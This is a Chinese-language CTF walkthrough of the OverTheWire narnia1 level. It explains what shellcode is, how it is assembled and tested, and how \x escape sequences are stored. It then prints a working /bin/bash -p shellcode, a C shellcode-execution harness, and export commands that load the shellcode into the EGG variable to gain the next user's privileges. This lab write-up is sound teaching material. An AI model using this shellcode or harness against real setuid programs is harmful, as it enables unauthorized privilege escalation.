0x02-逆向-執行環境變量

目錄

今日目標

繼續 narnia 系列。今天的目標是 narnia1。

首先,這個挑戰本身很簡單,但是可以細想一下背後的原理,還是有一些地方值得挖掘和理解。

這是 narnia1 的源碼。

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

源碼要求要設置一個名爲 EGG 的環境變量,這個環境變量被賦值給變量 ret,最後程序調用 ret 執行 EGG 中的指令。

narnia 的實現原理都是一樣,每一個二進制都設置了 suid,運行時獲得下一個用戶的權限,從而能獲取下一個用戶的密碼(回看上一篇)。

在這裏插入圖片描述

可以學到什麼?

什麼是 Shellcode?

Shellcode,又稱 bytecode,其本質,是機器指令,其表現形式,是機器指令的 16 進制。如下圖:

在這裏插入圖片描述

這一段 shellcode 是 execve("/bin/bash", ["/bin/bash", "-p"], NULL) 的機器指令形式。

下面我們看一下 shellcode 是如何編寫的。

Shellcode 是怎麼編寫出來的?

關於 shellcode 的編寫,推薦這個教程給大家

上文說過 shellcode 本質是機器指令,要編寫出精簡,可靠的 shellcode 需要對彙編和操作系統有很深入的理解。

作爲一切的開始,我們拿上述教程的第一個例子作說明。

首先寫出要實現功能的彙編代碼。下面的代碼實現一個 exit 系統調用。

在這裏插入圖片描述

然後使用 nasm 編譯,用 ld 鏈接,最後用 objdump 導出彙編代碼。可以看到在每一行彙編代碼之前,都有 2 個字節的 16 進制數,這就是機器指令。前一個字節,對應的是彙編操作,後一個字節,對應的是參數或者操作對象。例如,b0 對應 mov alcd 對應 int 等。

基本的機器碼與彙編指令的對應可以看這裏

在這裏插入圖片描述

下一步,將機器碼按從上到下,從左到右的順序,拼接起來,並在每個機器碼前加上 \x 代表 16 進制,即可得到 shellcode。

這個例子中的 shellcode 就是 \xb0\x01\x31\xdb\xcd\x80

有了 shellcode,下一步看一下如何測試。

Shellcode 測試

有了 shellcode,該怎麼測試是否可用呢?在真實的逆向環境中,還會遇到很多如壞字符(bad character)等的情況,造成 shellcode 不可用。足夠的測試工作是保證 shellcode 可靠性的重要步驟。

一般情況下,可以使用下面這個模板代碼,來測試 shellcode。

char code[] = "bytecode will go here!";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

拆解一下:

  • code 是一個字符數組,用於存放 shellcode,直接複製 shellcode 賦值給 code 即可
  • func 是一個指向方法的指針,這個方法沒有確定的參數,返回值爲 int
  • (int (*)()) code 將字符數組的地址轉換成與 func 一樣的方法指針,賦值給 func
  • (int)(*func)() 調用 func,及 shellcode

如果大家的機器是 64 位的,那麼彙編代碼不需要變動,但是在編譯的時候,要使用 elf64

nasm -f elf64 test.asm

ld -o exiter test.o

因爲是 exit 調用,也就是程序開始之後立刻調用 exit 退出,怎麼才能知道真的調用了 exit 呢?

strace 可以幫我們查看方法調用。

# 根據系統版本不同自行安裝 strace
strace ./exiter

顯示如下,調用了 exit

在這裏插入圖片描述

“\x” 轉義序列

看這樣一段 shell-storm 上的 shellcode:

#include <stdio.h>

# 轉義之後的 16 進制形式的 shellcode
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
		   "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  		   "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
		   "\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
		   "\x71\x8a\xe2\x53\x6b\x69\x69\x30"
		   "\x63\x62\x74\x69\x30\x63\x6a\x6f"
		   "\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
		   "\x81";

int main(int argc, char *argv[])
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));

	# 調用 shellcode
	(*(void(*)()) shellcode)();
}

有一個問題,上面的 shellcode,在編譯的時候,是通過什麼方式存儲的?

可以看到整個 shellcode 是一個字符串,包含在 "" 雙引號之中。

首先,可以肯定的是不可能按照字面字符存儲。因爲每一個 16 進制代表的機器碼指令,如果按照 eb 這樣存儲,即 0x6562,完全不是我們想要的指令。

“\x” 的作用

看一下 Wiki 對於轉義字符序列的解釋

\xhh 給出的數值當作 16 進制來處理。

在這裏插入圖片描述

“\x” 轉義的 16 進製作爲字符串的處理

如果轉義之後的 16 進制是包含在雙引號 " 之中,是字符串,編譯器會在編譯階段,將轉義字符序列之後的數值,按照其對應的字符(按照 Unicode 查找)的二進制存儲。

這篇 Wiki 給出了一個例子

在 python 中,\x22 被轉換成 "

在這裏插入圖片描述

雖然例子是 python,但 python 是 C 寫的,底層邏輯一樣。

回頭看這段 shellcode:

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
		   "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  		   "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
		   "\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
		   "\x71\x8a\xe2\x53\x6b\x69\x69\x30"
		   "\x63\x62\x74\x69\x30\x63\x6a\x6f"
		   "\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
		   "\x81";

簡單了說,在存儲第一個轉義序列 "\xeb" 的時候,編譯器先將 \xeb 轉換成字符(不一定是可見字符),再轉換成字符對應的二進制進行存儲。

"\xeb" = 16 進制(eb)對應的字符 = 對應字符的二進制

用 python 做個驗證。

在這裏插入圖片描述

大家可以到 這個網站 查看對應的 Unicode 字符。ord 方法可以顯示對應字符的十進制表示,在該網站,對應的字符就是 ë

在這裏插入圖片描述

這樣一來,當要把這段 shellcode 加載到內存執行的時候,讀取到的二進制,就是 eb 這個指令。

Bash 設置環境變量

Bash 設置環境變量,或者單純設置變量,下面兩個命令替換操作是一樣的作用。先執行命令,將輸出作爲變量的值。

``

先執行 date 命令,將輸出賦值給 var

在這裏插入圖片描述

$()

先執行 uname -a,將輸出賦值給 var

在這裏插入圖片描述

如何利用這個漏洞?

講了這麼多,最後解決起問題來,就很簡單了。

首先設置一個環境變量 EGG,這個 EGG 中包含的,是執行 /bin/bash 的 shellcode。

shellcode 可以在這裏找到

# echo
export EGG=$(echo -e ’\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81‘)

# printf
export EGG=$(printf ’\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81‘)

# python print
export EGG=$(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')

echoprintf, python print 都可以在這裏使用。

本地測試使用的是 bash,有一些 shell 會無法顯示這些不可打印字符,所以 echo $EGG 的輸出可能會有不同。

根據之前所講,我們要將 \x 轉義的 shellcode 轉換成相應的字符,才能讓程序在讀取這些字符的時候,轉換成相應的二進制,也就是 shellcode 本身。

在這裏插入圖片描述

然後執行 ./narnia1

在這裏插入圖片描述

/bin/bash 執行了,並且當前身份是 narnia2,可以獲取下一級別的密碼。


個人博客地址


參考連接:

  • http://shell-storm.org/shellcode/files/shellcode-607.php
  • https://stackoverflow.com/questions/21951381/what-does-int-ret-intcode-mean
  • https://www.likeanswer.com/question/2585858
  • https://www.reddit.com/r/LiveOverflow/comments/eq4tsu/how_int_retvoid_intvoidcode_exececutes_shellcode/
  • https://hackmethod.com/overthewire-narnia-1/?v=7516fd43adaa
  • http://www.vividmachines.com/shellcode/shellcode.html
  • https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow
  • https://cs.stackexchange.com/questions/19963/why-octal-and-hexadecimal-computers-use-binary-and-humans-decimals
  • https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_29_machinecode.html
  • https://en.wikipedia.org/wiki/Escape_sequences_in_C
  • https://stackoverflow.com/questions/10057258/how-does-x-work-in-a-string
  • https://stackoverflow.com/questions/45612822/how-to-properly-add-hex-escapes-into-a-string-literal
  • https://en.wikipedia.org/wiki/Escape_sequence
  • https://en.wikipedia.org/wiki/Hexadecimal
  • https://unicode-table.com/en/#basic-latin
  • http://shell-storm.org/shellcode/files/shellcode-607.php
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章